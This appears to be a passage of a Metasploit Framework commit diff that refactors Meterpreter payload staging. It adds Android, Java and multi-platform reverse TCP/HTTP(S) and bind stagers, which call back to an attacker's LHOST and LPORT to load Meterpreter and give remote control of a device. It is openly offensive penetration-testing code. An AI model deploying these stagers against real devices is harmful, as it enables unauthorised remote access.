@stances << formatted_values
when 'arch'
@archs << formatted_values
when 'author'
@authors << formatted_values
when 'name'
@names << formatted_values
when 'os', 'platform'
@os << formatted_values
when 'ref'
formatted_values = match_values(value_set)
query = query.includes(:refs).references(:refs)
union_conditions << Mdm::Module::Ref.arel_table[:name].matches_any(formatted_values)
@refs << formatted_values
when 'cve', 'bid', 'edb'
formatted_values = value_set.collect { |value|
prefix = keyword.upcase
"#{prefix}-%#{value}%"
}
query = query.includes(:refs).references(:refs)
union_conditions << Mdm::Module::Ref.arel_table[:name].matches_any(formatted_values)
@refs << formatted_values
when 'text'
@text << formatted_values
when 'type'
@types << formatted_values
end
end
unioned_conditions = union_conditions.inject { |union, condition|
union.or(condition)
}
query = query.where(unioned_conditions).to_a.uniq { |m| m.fullname }
end
query
@query = @query.module_arch( @archs.to_a.flatten ) if @archs.any?
@query = @query.module_author( @authors.to_a.flatten ) if @authors.any?
@query = @query.module_name( @names.to_a.flatten ) if @names.any?
@query = @query.module_os_or_platform( @os.to_a.flatten ) if @os.any?
@query = @query.module_text( @text.to_a.flatten ) if @text.any?
@query = @query.module_type( @types.to_a.flatten ) if @types.any?
@query = @query.module_stance( @stances.to_a.flatten ) if @stances.any?
@query = @query.module_ref( @refs.to_a.flatten ) if @refs.any?
@query.uniq
end
# Destroys the old Mdm::Module::Detail and creates a new Mdm::Module::Detail for
+3 -1
View File
@@ -137,7 +137,9 @@ module Exe
# .text:004136C1 add eax, 0Ch
pattern = "\x64\xA1\x30\x00\x00\x00\x2B\xCA\xD1\xF9\x8B\x40\x0C\x83\xC0\x0C"
section = pe.sections.find { |s| s.name.to_s == '.text' }
if section && section.encoded.pattern_scan(pattern).blank?
if section.nil?
return false
elsif section && section.encoded.pattern_scan(pattern).blank?
return false
end
+1 -1
View File
@@ -323,7 +323,7 @@ module Msf
multi_handler.datastore['PAYLOAD'] = payload_name
multi_handler.datastore['LPORT'] = wanted[:payload_lport]
%w(DebugOptions AutoLoadAndroid PrependMigrate PrependMigrateProc
%w(DebugOptions PrependMigrate PrependMigrateProc
InitialAutoRunScript AutoRunScript CAMPAIGN_ID HandlerSSLCert
StagerVerifySSLCert PayloadUUIDTracking PayloadUUIDName
IgnoreUnknownPayloads SessionRetryTotal SessionRetryWait
+37 -12
View File
@@ -71,20 +71,32 @@ module Exploit::Remote::SMTPDeliver
# This method currently only knows about PLAIN authentication.
#
def connect_login(global = true)
vprint_status("Connecting to SMTP server #{rhost}:#{rport}...")
nsock = connect(global)
if datastore['DOMAIN'] and not datastore['DOMAIN'] == ''
if datastore['DOMAIN'] && datastore['DOMAIN'] != ''
domain = datastore['DOMAIN']
else
domain = Rex::Text.rand_text_alpha(rand(32)+1)
end
res = raw_send_recv("EHLO #{domain}\r\n", nsock)
nsock, res = connect_ehlo(global, domain)
if res =~ /STARTTLS/
print_status("Starting tls")
raw_send_recv("STARTTLS\r\n", nsock)
swap_sock_plain_to_ssl(nsock)
[:high, :medium, :default].each do |level|
begin
swap_sock_plain_to_ssl(nsock, level)
break
rescue OpenSSL::SSL::SSLError
# Perform manual fallback for servers that can't
print_status 'Could not negotiate SSL, falling back to older ciphers'
nsock.close
nsock, res = connect_ehlo(global)
raw_send_recv("STARTTLS\r\n", nsock)
raise if level == :default
end
end
res = raw_send_recv("EHLO #{domain}\r\n", nsock)
end
@@ -122,6 +134,12 @@ module Exploit::Remote::SMTPDeliver
return nsock
end
def connect_ehlo(global = true, domain)
vprint_status("Connecting to SMTP server #{rhost}:#{rport}...")
nsock = connect(global)
[nsock, raw_send_recv("EHLO #{domain}\r\n", nsock)]
end
#
# Sends an email message, connecting to the server first if a connection is
@@ -216,8 +234,8 @@ protected
# Create a new SSL session on the existing socket. Used for STARTTLS
# support.
#
def swap_sock_plain_to_ssl(nsock=self.sock)
ctx = generate_ssl_context()
def swap_sock_plain_to_ssl(nsock=self.sock, security=:high)
ctx = generate_ssl_context(security)
ssl = OpenSSL::SSL::SSLSocket.new(nsock, ctx)
ssl.connect
@@ -227,10 +245,17 @@ protected
nsock.sslctx = ctx
end
def generate_ssl_context
ctx = OpenSSL::SSL::SSLContext.new(:SSLv23)
ctx.ciphers = "ALL:!ADH:!EXPORT:!SSLv2:!SSLv3:+HIGH:+MEDIUM"
ctx
def generate_ssl_context(security=:high)
case security
when :high
ctx = OpenSSL::SSL::SSLContext.new(:SSLv23)
ctx.ciphers = "ALL:!ADH:!EXPORT:!SSLv2:!SSLv3:+HIGH:+MEDIUM"
ctx
when :medium
OpenSSL::SSL::SSLContext.new(:TLSv1)
when :default
OpenSSL::SSL::SSLContext.new
end
end
end
+8 -1
View File
@@ -199,7 +199,14 @@ protected
# allocate a new session.
if (self.session)
begin
s = self.session.new(conn, opts)
# if there's a create_session method then use it, as this
# can form a factory for arb session types based on the
# payload.
if self.session.respond_to?('create_session')
s = self.session.create_session(conn, opts)
else
s = self.session.new(conn, opts)
end
rescue ::Exception => e
# We just wanna show and log the error, not trying to swallow it.
print_error("#{e.class} #{e.message}")
+19 -62
View File
@@ -317,77 +317,31 @@ protected
pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_TRANS_URL, conn_id + "/")
resp.body = pkt.to_r
when :init_python
print_status("Staging Python payload...")
when :init_python, :init_native, :init_java
# TODO: at some point we may normalise these three cases into just :init
url = payload_uri(req) + conn_id + '/'
blob = ""
blob << self.generate_stage(
http_url: url,
http_user_agent: datastore['MeterpreterUserAgent'],
http_proxy_host: datastore['PayloadProxyHost'] || datastore['PROXYHOST'],
http_proxy_port: datastore['PayloadProxyPort'] || datastore['PROXYPORT'],
uuid: uuid,
uri: conn_id
)
resp.body = blob
# Short-circuit the payload's handle_connection processing for create_session
create_session(cli, {
:passive_dispatcher => self.service,
:conn_id => conn_id,
:url => url,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i,
:ssl => ssl?,
:payload_uuid => uuid
})
when :init_java
print_status("Staging Java payload...")
url = payload_uri(req) + conn_id + "/\x00"
blob = self.generate_stage(
uuid: uuid,
uri: conn_id
)
resp.body = blob
# Short-circuit the payload's handle_connection processing for create_session
create_session(cli, {
:passive_dispatcher => self.service,
:conn_id => conn_id,
:url => url,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i,
:ssl => ssl?,
:payload_uuid => uuid
})
when :init_native
print_status("Staging Native payload...")
url = payload_uri(req) + conn_id + "/\x00"
# Damn you, python! Ruining my perfect world!
url += "\x00" unless uuid.arch == ARCH_PYTHON
uri = URI(payload_uri(req) + conn_id)
resp['Content-Type'] = 'application/octet-stream'
# TODO: does this have to happen just for windows, or can we set it for all?
resp['Content-Type'] = 'application/octet-stream' if uuid.platform == 'windows'
begin
# generate the stage, but pass in the existing UUID and connection id so that
# we don't get new ones generated.
blob = self.generate_stage(
uuid: uuid,
uri: conn_id,
url: url,
uuid: uuid,
lhost: uri.host,
lport: uri.port
lport: uri.port,
uri: conn_id
)
resp.body = encode_stage(blob)
blob = encode_stage(blob) if self.respond_to?(:encode_stage)
print_status("Staging #{uuid.arch} payload (#{blob.length} bytes) ...")
resp.body = blob
# Short-circuit the payload's handle_connection processing for create_session
create_session(cli, {
@@ -414,11 +368,14 @@ protected
url = payload_uri(req) + conn_id
url << '/' unless url[-1] == '/'
# Damn you, python! Ruining my perfect world!
url += "\x00" unless uuid.arch == ARCH_PYTHON
# Short-circuit the payload's handle_connection processing for create_session
create_session(cli, {
:passive_dispatcher => self.service,
:conn_id => conn_id,
:url => url + "\x00",
:url => url,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
+8
View File
@@ -536,4 +536,12 @@ class Msf::Module::Platform
Rank = 100
Alias = "mainframe"
end
#
# Multi (for wildcard-style platform functions)
#
class Multi < Msf::Module::Platform
Rank = 100
Alias = "multi"
end
end
+3
View File
@@ -32,6 +32,9 @@ class Payload < Msf::Module
require 'msf/core/payload/firefox'
require 'msf/core/payload/mainframe'
# Universal payload includes
require 'msf/core/payload/multi'
##
#
# Payload types
+17 -16
View File
@@ -24,41 +24,41 @@ module Msf::Payload::Android
# We could compile the .class files with dx here
#
def generate_stage(opts={})
''
end
def generate_default_stage(opts={})
''
end
#
# Used by stagers to construct the payload jar file as a String
#
def generate
generate_jar.pack
def generate(opts={})
generate_jar(opts).pack
end
def java_string(str)
[str.length].pack("N") + str
end
def apply_options(classes, opts)
config = generate_config_bytes(opts)
if opts[:stageless]
config[0] = "\x01"
end
string_sub(classes, "\xde\xad\xba\xad" + "\x00" * 8191, config)
end
def generate_config_bytes(opts={})
def generate_config(opts={})
opts[:uuid] ||= generate_payload_uuid
ds = opts[:datastore] || datastore
config_opts = {
ascii_str: true,
arch: opts[:uuid].arch,
expiration: datastore['SessionExpirationTimeout'].to_i,
expiration: ds['SessionExpirationTimeout'].to_i,
uuid: opts[:uuid],
transports: [transport_config(opts)]
transports: opts[:transport_config] || [transport_config(opts)]
}
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
config.to_b
result = config.to_b
result[0] = "\x01" if opts[:stageless]
result
end
def string_sub(data, placeholder="", input="")
@@ -104,7 +104,8 @@ module Msf::Payload::Android
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex')
end
apply_options(classes, opts)
config = generate_config(opts)
string_sub(classes, "\xde\xad\xba\xad" + "\x00" * 8191, config)
jar = Rex::Zip::Jar.new
files = [
@@ -0,0 +1,56 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/base/sessions/meterpreter_options'
require 'msf/core/payload/uuid/options'
module Msf
###
#
# Common loader for Android payloads that make use of Meterpreter.
#
###
module Payload::Android::MeterpreterLoader
include Msf::Payload::Android
include Msf::Payload::UUID::Options
include Msf::Sessions::MeterpreterOptions
def initialize(info={})
super(update_info(info,
'Name' => 'Android Meterpreter & Configuration',
'Description' => 'Android-specific meterpreter generation',
'Author' => ['OJ Reeves'],
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'PayloadCompat' => {'Convention' => 'http https'},
'Stage' => {'Payload' => ''}
))
end
def stage_payload(opts={})
stage_meterpreter(opts)
end
def stage_meterpreter(opts={})
clazz = 'androidpayload.stage.Meterpreter'
metstage = MetasploitPayloads.read("android", "metstage.jar")
met = MetasploitPayloads.read("android", "meterpreter.jar")
# Name of the class to load from the stage, the actual jar to load
# it from, and then finally the meterpreter stage
blocks = [
java_string(clazz),
java_string(metstage),
java_string(met),
java_string(generate_config(opts))
]
(blocks + [blocks.length]).pack('A*' * blocks.length + 'N')
end
end
end
@@ -0,0 +1,63 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/core/payload/uuid/options'
module Msf
###
#
# Complex payload generation for Android that speaks HTTP(S)
#
###
module Payload::Android::ReverseHttp
include Msf::Payload::TransportConfig
include Msf::Payload::Android
include Msf::Payload::UUID::Options
#
# Generate the transport-specific configuration
#
def transport_config(opts={})
transport_config_reverse_http(opts)
end
def generate_config(opts={})
opts[:uri] ||= luri + generate_uri(opts)
super(opts)
end
#
# Generate the URI for the initial stager
#
def generate_uri(opts={})
ds = opts[:datastore] || datastore
uri_req_len = ds['StagerURILength'].to_i
# Choose a random URI length between 30 and 255 bytes
if uri_req_len == 0
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
end
if uri_req_len < 5
raise ArgumentError, "Minimum StagerURILength is 5"
end
generate_uri_uuid_mode(:init_java, uri_req_len)
end
#
# Always wait at least 20 seconds for this payload (due to staging delays)
#
def wfs_delay
20
end
end
end
@@ -0,0 +1,27 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/android/reverse_http'
module Msf
###
#
# Complex payload generation for Android that speaks HTTPS
#
###
module Payload::Android::ReverseHttps
include Msf::Payload::Android::ReverseHttp
#
# Generate the transport-specific configuration
#
def transport_config(opts={})
transport_config_reverse_https(opts)
end
end
end
@@ -0,0 +1,28 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/transport_config'
module Msf
###
#
# Complex payload generation for Android that speaks TCP
#
###
module Payload::Android::ReverseTcp
include Msf::Payload::TransportConfig
include Msf::Payload::Android
#
# Generate the transport-specific configuration
#
def transport_config(opts={})
transport_config_reverse_tcp(opts)
end
end
end
+31 -19
View File
@@ -4,7 +4,7 @@ require 'msf/core'
module Msf::Payload::Java
#
# Used by stages; all java stages need to define +@stage_class_files+ as an
# Used by stages; all java stages need to define +stage_class_files+ as an
# array of .class files located in data/java/
#
# The staging protocol expects any number of class files, each prepended
@@ -15,8 +15,12 @@ module Msf::Payload::Java
# [ 32-bit null ]
#
def generate_stage(opts={})
generate_default_stage(opts)
end
def generate_default_stage(opts={})
stage = ''
@stage_class_files.each do |path|
stage_class_files.each do |path|
data = MetasploitPayloads.read('java', path)
stage << [data.length, data].pack('NA*')
end
@@ -28,15 +32,14 @@ module Msf::Payload::Java
#
# Used by stagers to construct the payload jar file as a String
#
def generate
generate_jar.pack
def generate(opts={})
generate_jar(opts).pack
end
#
# Used by stagers to create a jar file as a {Rex::Zip::Jar}. Stagers
# define a list of class files in @class_files which are pulled from the
# MetasploitPayloads gem. The configuration file is created by
# the payload's #config method.
# define a list of class files from the class_files method. The
# configuration file is created by the payload's #stager_config method.
#
# @option opts :main_class [String] the name of the Main-Class
# attribute in the manifest. Defaults to "metasploit.Payload"
@@ -44,18 +47,18 @@ module Msf::Payload::Java
# "metasploit" package name.
# @return [Rex::Zip::Jar]
def generate_jar(opts={})
raise if not respond_to? :config
raise if not respond_to? :stager_config
# Allow changing the jar's Main Class in the manifest so wrappers
# around metasploit.Payload will work.
main_class = opts[:main_class] || "metasploit.Payload"
paths = [
[ "metasploit", "Payload.class" ],
] + @class_files
] + class_files
jar = Rex::Zip::Jar.new
jar.add_sub("metasploit") if opts[:random]
jar.add_file("metasploit.dat", config)
jar.add_file("metasploit.dat", stager_config(opts))
jar.add_files(paths, MetasploitPayloads.path('java'))
jar.build_manifest(:main_class => main_class)
@@ -71,7 +74,7 @@ module Msf::Payload::Java
# web.xml. Defaults to random
#
def generate_war(opts={})
raise if not respond_to? :config
raise if not respond_to? :stager_config
zip = Rex::Zip::Jar.new
web_xml = %q{<?xml version="1.0"?>
@@ -96,27 +99,26 @@ module Msf::Payload::Java
paths = [
[ "metasploit", "Payload.class" ],
[ "metasploit", "PayloadServlet.class" ],
] + @class_files
] + class_files
zip.add_file('WEB-INF/', '')
zip.add_file('WEB-INF/web.xml', web_xml)
zip.add_file("WEB-INF/classes/", "")
zip.add_files(paths, MetasploitPayloads.path('java'), 'WEB-INF/classes/')
zip.add_file("WEB-INF/classes/metasploit.dat", config)
zip.add_file("WEB-INF/classes/metasploit.dat", stager_config(opts))
zip
end
#
# Used by stagers to create a axis2 webservice file as a {Rex::Zip::Jar}.
# Stagers define a list of class files in @class_files which are pulled
# from the MetasploitPayloads gem. The configuration file is created by
# the payload's #config method.
# Stagers define a list of class files returned via class_files. The
# configuration file is created by the payload's #stager_config method.
#
# @option :app_name [String] Name of the Service in services.xml. Defaults to random.
# @return [Rex::Zip::Jar]
def generate_axis2(opts={})
raise if not respond_to? :config
raise if not respond_to? :stager_config
app_name = opts[:app_name] || Rex::Text.rand_text_alpha_lower(rand(8)+8)
@@ -132,16 +134,26 @@ module Msf::Payload::Java
paths = [
[ 'metasploit', 'Payload.class' ],
[ 'metasploit', 'PayloadServlet.class' ]
] + @class_files
] + class_files
zip = Rex::Zip::Jar.new
zip.add_file('META-INF/', '')
zip.add_file('META-INF/services.xml', services_xml)
zip.add_files(paths, MetasploitPayloads.path('java'))
zip.add_file('metasploit.dat', config)
zip.add_file('metasploit.dat', stager_config(opts))
zip.build_manifest(:app_name => app_name)
zip
end
# Default to no extra class files
def class_files
[]
end
# Default to no extra stage class files
def stage_class_files
[]
end
end
+74
View File
@@ -0,0 +1,74 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/core/payload/uuid/options'
module Msf
###
#
# Complex payload generation for Java that speaks TCP
#
###
module Payload::Java::BindTcp
include Msf::Payload::TransportConfig
include Msf::Payload::Java
include Msf::Payload::UUID::Options
#
# Register Java reverse_http specific options
#
def initialize(*args)
super
register_advanced_options([
Msf::OptString.new('AESPassword', [false, "Password for encrypting communication", '']),
Msf::OptInt.new('Spawn', [true, "Number of subprocesses to spawn", 2])
])
end
#
# Generate the transport-specific configuration
#
def transport_config(opts={})
transport_config_bind_tcp(opts)
end
def include_send_uuid
false
end
#
# Generate configuration that is to be included in the stager.
#
def stager_config(opts={})
ds = opts[:datastore] || datastore
spawn = ds["Spawn"] || 2
c = ""
c << "Spawn=#{spawn}\n"
pass = ds["AESPassword"] || ''
if pass != ""
c << "AESPassword=#{pass}\n"
end
c << "LHOST=#{ds["LHOST"]}\n" if ds["LHOST"]
c << "LPORT=#{ds["LPORT"]}\n" if ds["LPORT"]
c
end
def class_files
# TODO: we should handle opts in class_files as well
if datastore['AESPassword'] && datastore['AESPassword'].length > 0
[
["metasploit", "AESEncryption.class"],
]
else
[]
end
end
end
end
@@ -0,0 +1,102 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/base/sessions/meterpreter_options'
require 'msf/core/payload/uuid/options'
module Msf
###
#
# Common module stub for Java payloads that make use of Meterpreter.
#
###
module Payload::Java::MeterpreterLoader
include Msf::Payload::Java
include Msf::Payload::UUID::Options
include Msf::Sessions::MeterpreterOptions
def initialize(info = {})
super(update_info(info,
'Name' => 'Java Meterpreter & Configuration',
'Description' => 'Java-specific meterpreter generation',
'Author' => ['OJ Reeves'],
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'PayloadCompat' => {'Convention' => 'http https'},
'Stage' => {'Payload' => ''}
))
end
def stage_payload(opts={})
stage_meterpreter(opts)
end
#
# Override the Payload::Java version so we can load a prebuilt jar to be
# used as the final stage; calls super to get the intermediate stager.
#
def stage_meterpreter(opts={})
met = MetasploitPayloads.read('meterpreter', 'meterpreter.jar')
config = generate_config(opts)
# All of the dependencies to create a jar loader, followed by the length
# of the jar and the jar itself, then the config
blocks = [
generate_default_stage(opts),
[met.length, met].pack('NA*'),
[config.length, config].pack('NA*')
]
# Deliberate off by 1 here. The call to super adds a null terminator
# so we would add 1 for the null terminate and remove one for the call
# to super.
block_count = blocks.length + stage_class_files.length
# Pack all the magic together
(blocks + [block_count]).pack('A*' * blocks.length + 'N')
end
def generate_config(opts={})
opts[:uuid] ||= generate_payload_uuid
ds = opts[:datastore] || datastore
# create the configuration block, which for staged connections is really simple.
config_opts = {
ascii_str: true,
arch: opts[:uuid].arch,
expiration: ds['SessionExpirationTimeout'].to_i,
uuid: opts[:uuid],
transports: opts[:transport_config] || [transport_config(opts)]
}
# create the configuration instance based off the parameters
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
# return the binary version of it
config.to_b
end
def stage_class_files
# Order matters. Classes can only reference classes that have already
# been sent. The last .class must implement Stage, i.e. have a start()
# method.
#
# The Meterpreter.class stage is just a jar loader, not really anything
# to do with meterpreter specifically. This payload should eventually
# be replaced with an actual meterpreter stage so we don't have to send
# a second jar.
[
[ "javapayload", "stage", "Stage.class" ],
[ "com", "metasploit", "meterpreter", "MemoryBufferURLConnection.class" ],
[ "com", "metasploit", "meterpreter", "MemoryBufferURLStreamHandler.class" ],
# Must be last!
[ "javapayload", "stage", "Meterpreter.class" ],
]
end
end
end
+94
View File
@@ -0,0 +1,94 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/core/payload/uuid/options'
module Msf
###
#
# Complex payload generation for Java that speaks HTTP(S)
#
###
module Payload::Java::ReverseHttp
include Msf::Payload::TransportConfig
include Msf::Payload::Java
include Msf::Payload::UUID::Options
#
# Register Java reverse_http specific options
#
def initialize(*args)
super
register_advanced_options([
Msf::OptInt.new('Spawn', [true, 'Number of subprocesses to spawn', 2]),
Msf::OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)'])
])
end
#
# Generate the transport-specific configuration
#
def transport_config(opts={})
transport_config_reverse_http(opts)
end
#
# Generate the URI for the initial stager
#
def generate_uri(opts={})
ds = opts[:datastore] || datastore
uri_req_len = ds['StagerURILength'].to_i
# Choose a random URI length between 30 and 255 bytes
if uri_req_len == 0
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
end
if uri_req_len < 5
raise ArgumentError, "Minimum StagerURILength is 5"
end
generate_uri_uuid_mode(:init_java, uri_req_len)
end
#
# Generate configuration that is to be included in the stager.
#
def stager_config(opts={})
uri = generate_uri(opts)
ds = opts[:datastore] || datastore
c = ''
c << "Spawn=#{ds["Spawn"] || 2}\n"
c << "URL=#{scheme}://#{ds['LHOST']}"
c << ":#{ds['LPORT']}" if ds['LPORT']
c << luri
c << uri
c << "\n"
c
end
#
# Scheme defaults to http
#
def scheme
'http'
end
#
# Always wait at least 20 seconds for this payload (due to staging delays)
#
def wfs_delay
20
end
end
end
@@ -0,0 +1,41 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/java/reverse_http'
module Msf
###
#
# Complex payload generation for Java that speaks HTTPS
#
###
module Payload::Java::ReverseHttps
include Msf::Payload::Java::ReverseHttp
#
# Generate the transport-specific configuration
#
def transport_config(opts={})
transport_config_reverse_https(opts)
end
#
# Override the scheme so that it has https instead of http
#
def scheme
'https'
end
#
# Override class_files to include the trust manager
#
def class_files
[
["metasploit", "PayloadTrustManager.class"]
]
end
end
end
+76
View File
@@ -0,0 +1,76 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/core/payload/uuid/options'
module Msf
###
#
# Complex payload generation for Java that speaks TCP
#
###
module Payload::Java::ReverseTcp
include Msf::Payload::TransportConfig
include Msf::Payload::Java
include Msf::Payload::UUID::Options
#
# Register Java reverse_http specific options
#
def initialize(*args)
super
register_advanced_options([
Msf::OptString.new('AESPassword', [false, "Password for encrypting communication", '']),
Msf::OptInt.new('Spawn', [true, "Number of subprocesses to spawn", 2])
])
end
#
# Generate the transport-specific configuration
#
def transport_config(opts={})
transport_config_reverse_tcp(opts)
end
def include_send_uuid
false
end
#
# Generate configuration that is to be included in the stager.
#
def stager_config(opts={})
ds = opts[:datastore] || datastore
spawn = ds["Spawn"] || 2
c = ""
c << "Spawn=#{spawn}\n"
pass = ds["AESPassword"] || ''
if pass != ""
c << "AESPassword=#{pass}\n"
end
c << "LHOST=#{ds["LHOST"]}\n" if ds["LHOST"]
c << "LPORT=#{ds["LPORT"]}\n" if ds["LPORT"]
c
end
def class_files
# TODO: we should handle opts in class_files as well
if datastore['AESPassword'] && datastore['AESPassword'].length > 0
[
["metasploit", "AESEncryption.class"],
]
else
[]
end
end
end
end
+50
View File
@@ -0,0 +1,50 @@
# -*- coding: binary -*-
require 'msf/core'
###
#
#
#
###
module Msf::Payload::Multi
# TOOD: require the appropriate stuff!
#require 'msf/core/payload/windows/dllinject'
#require 'msf/core/payload/windows/exec'
#require 'msf/core/payload/windows/loadlibrary'
#require 'msf/core/payload/windows/meterpreter_loader'
#require 'msf/core/payload/windows/x64/meterpreter_loader'
#require 'msf/core/payload/windows/reflectivedllinject'
#require 'msf/core/payload/windows/x64/reflectivedllinject'
# TODO: figure out what to do here
def apply_prepends(raw)
''
end
# TODO: figure out what to do here
def initialize(info={})
super(update_info(info,
'Name' => 'Multi-Platform Meterpreter Payload',
'Description' => 'Detect and generate the appropriate payload based on platform/arch',
'Author' => ['OJ Reeves'],
'Platform' => ['multi'],
'Arch' => ARCH_ALL,
'Stage' => {'Payload' => ''},
'PayloadCompat' => {'Convention' => 'sockedi sockrdi http https'},
))
end
# TODO: figure out what to do here
def replace_var(raw, name, offset, pack)
return true
end
# TODO: figure out what to do here
def handle_intermediate_stage(conn, payload)
return true
end
end
@@ -0,0 +1,69 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/uuid/options'
module Msf
###
#
# Complex payload generation for arch-agnostic HTTP.
#
###
module Payload::Multi::ReverseHttp
include Msf::Payload::UUID::Options
include Msf::Payload::Multi
#
# Register reverse_http specific options
#
def initialize(*args)
super
register_advanced_options([
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]),
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']),
OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']])
])
end
#
# Generate the first stage
#
def generate(opts={})
# Not such thing as a first stage for multi/reverse_http
''
end
#
# Generate the transport-specific configuration
#
def transport_config(opts={})
transport_config_reverse_http(opts)
end
#
# Do not transmit the stage over the connection. We handle this via HTTPS
#
def stage_over_connection?
false
end
#
# Always wait at least 20 seconds for this payload (due to staging delays)
#
def wfs_delay
20
end
end
end
@@ -0,0 +1,30 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/core/payload/multi/reverse_http'
module Msf
###
#
# Complex payload generation for arch-agnostic HTTP.
#
###
module Payload::Multi::ReverseHttps
include Msf::Payload::TransportConfig
include Msf::Payload::Multi::ReverseHttp
#
# Generate the transport-specific configuration
#
def transport_config(opts={})
transport_config_reverse_https(opts)
end
end
end
@@ -14,6 +14,7 @@ module Msf
module Payload::Python::MeterpreterLoader
include Msf::Payload::Python
include Msf::Payload::UUID::Options
include Msf::Sessions::MeterpreterOptions
@@ -32,6 +33,10 @@ module Payload::Python::MeterpreterLoader
], self.class)
end
def stage_payload(opts={})
stage_meterpreter(opts)
end
# Get the raw Python Meterpreter stage and patch in values based on the
# configuration
#
@@ -40,7 +45,7 @@ module Payload::Python::MeterpreterLoader
# HTTP(S) transports.
# @option opts [String] :http_proxy_port The port to use when a proxy host is
# set for HTTP(S) transports.
# @option opts [String] :http_url The HTTP(S) URL to patch in to
# @option opts [String] :url The HTTP(S) URL to patch in to
# allow use of the stage as a stageless payload.
# @option opts [String] :http_user_agent The value to use for the User-Agent
# header for HTTP(S) transports.
@@ -49,31 +54,36 @@ module Payload::Python::MeterpreterLoader
# @option opts [String] :uuid A specific UUID to use for sessions created by
# this stage.
def stage_meterpreter(opts={})
ds = opts[:datastore] || datastore
met = MetasploitPayloads.read('meterpreter', 'meterpreter.py')
var_escape = lambda { |txt|
txt.gsub('\\', '\\'*8).gsub('\'', %q(\\\\\\\'))
}
if datastore['PythonMeterpreterDebug']
if ds['PythonMeterpreterDebug']
met = met.sub("DEBUGGING = False", "DEBUGGING = True")
end
met.sub!('SESSION_EXPIRATION_TIMEOUT = 604800', "SESSION_EXPIRATION_TIMEOUT = #{datastore['SessionExpirationTimeout']}")
met.sub!('SESSION_COMMUNICATION_TIMEOUT = 300', "SESSION_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}")
met.sub!('SESSION_RETRY_TOTAL = 3600', "SESSION_RETRY_TOTAL = #{datastore['SessionRetryTotal']}")
met.sub!('SESSION_RETRY_WAIT = 10', "SESSION_RETRY_WAIT = #{datastore['SessionRetryWait']}")
met.sub!('SESSION_EXPIRATION_TIMEOUT = 604800', "SESSION_EXPIRATION_TIMEOUT = #{ds['SessionExpirationTimeout']}")
met.sub!('SESSION_COMMUNICATION_TIMEOUT = 300', "SESSION_COMMUNICATION_TIMEOUT = #{ds['SessionCommunicationTimeout']}")
met.sub!('SESSION_RETRY_TOTAL = 3600', "SESSION_RETRY_TOTAL = #{ds['SessionRetryTotal']}")
met.sub!('SESSION_RETRY_WAIT = 10', "SESSION_RETRY_WAIT = #{ds['SessionRetryWait']}")
uuid = opts[:uuid] || generate_payload_uuid
uuid = Rex::Text.to_hex(uuid.to_raw, prefix = '')
met.sub!("PAYLOAD_UUID = \'\'", "PAYLOAD_UUID = \'#{uuid}\'")
# patch in the stageless http(s) connection url
met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(opts[:http_url])}'") if opts[:http_url].to_s != ''
met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(opts[:http_user_agent])}'") if opts[:http_user_agent].to_s != ''
http_user_agent = opts[:http_user_agent] || ds['MeterpreterUserAgent']
http_proxy_host = opts[:http_proxy_host] || ds['PayloadProxyHost'] || ds['PROXYHOST']
http_proxy_port = opts[:http_proxy_port] || ds['PayloadProxyPort'] || ds['PROXYPORT']
if opts[:http_proxy_host].to_s != ''
proxy_url = "http://#{opts[:http_proxy_host]}:#{opts[:http_proxy_port]}"
# patch in the stageless http(s) connection url
met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(opts[:url])}'") if opts[:url].to_s != ''
met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(http_user_agent)}'") if http_user_agent.to_s != ''
if http_proxy_host.to_s != ''
proxy_url = "http://#{http_proxy_host}:#{http_proxy_port}"
met.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
end
+6 -5
View File
@@ -22,12 +22,13 @@ module Payload::Python::ReverseHttp
# Generate the first stage
#
def generate(opts={})
